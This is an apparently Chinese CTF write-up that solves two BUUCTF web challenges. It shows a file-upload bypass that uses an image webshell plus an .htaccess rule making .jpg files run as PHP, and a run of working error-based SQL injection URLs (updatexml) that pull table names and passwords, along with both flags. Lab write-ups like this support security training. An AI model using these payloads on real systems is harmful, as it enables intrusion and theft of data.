BUUCTF Web [MRCTF2020]你传你呢1 & [极客大挑战 2019]HardSQL1

[MRCTF2020]你传你呢1

启动靶机,熟悉的游戏和背锅侠

发现文件上传点,开始上传shell.php

BUUCTF Web [MRCTF2020]你传你呢1 & [极客大挑战 2019]HardSQL1_第1张图片 

看来是有过滤,先尝试黑名单绕过

BUUCTF Web [MRCTF2020]你传你呢1 & [极客大挑战 2019]HardSQL1_第2张图片 看来不行,再尝试一下图片马

BUUCTF Web [MRCTF2020]你传你呢1 & [极客大挑战 2019]HardSQL1_第3张图片

看来是成功了,但jpg无法解析成php代码,再尝试上传一个.htaccess为后缀的文件,新建.htaccess,写入

AddType application/x-httpd-php .jpg

把content-type改成image/jpeg 

BUUCTF Web [MRCTF2020]你传你呢1 & [极客大挑战 2019]HardSQL1_第4张图片

  上传完.htaccess后,直接访问我们的tupianma.jpg

 尝试蚁剑连接

BUUCTF Web [MRCTF2020]你传你呢1 & [极客大挑战 2019]HardSQL1_第5张图片

拿到flag                    flag{305c6833-434e-4488-ad8b-1f5c2e38f293} 

[极客大挑战 2019]HardSQL1

启动靶机

BUUCTF Web [MRCTF2020]你传你呢1 & [极客大挑战 2019]HardSQL1_第6张图片

 熟悉的页面,先试试万能密码,不行。再试试union查询,不行。再试试报错注入,好像可以。

1.爆出库名

/check.php?username=admin%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=123

BUUCTF Web [MRCTF2020]你传你呢1 & [极客大挑战 2019]HardSQL1_第7张图片

2.爆出表名

/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123

BUUCTF Web [MRCTF2020]你传你呢1 & [极客大挑战 2019]HardSQL1_第8张图片

 3.爆出列名

/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=123

BUUCTF Web [MRCTF2020]你传你呢1 & [极客大挑战 2019]HardSQL1_第9张图片

4.构造最后查询语句

报错回显有位数限制,所以查找两次

/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat((left(password,25))))from(H4rDsq1)),0x7e),1))%23&password=123

BUUCTF Web [MRCTF2020]你传你呢1 & [极客大挑战 2019]HardSQL1_第10张图片

/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=123

BUUCTF Web [MRCTF2020]你传你呢1 & [极客大挑战 2019]HardSQL1_第11张图片

 把两个拼一拼

拿到flag               flag{69c80e46-b068-4cb6-b682-d8017ce943d0}

你可能感兴趣的:(BUUCTF,Web,安全)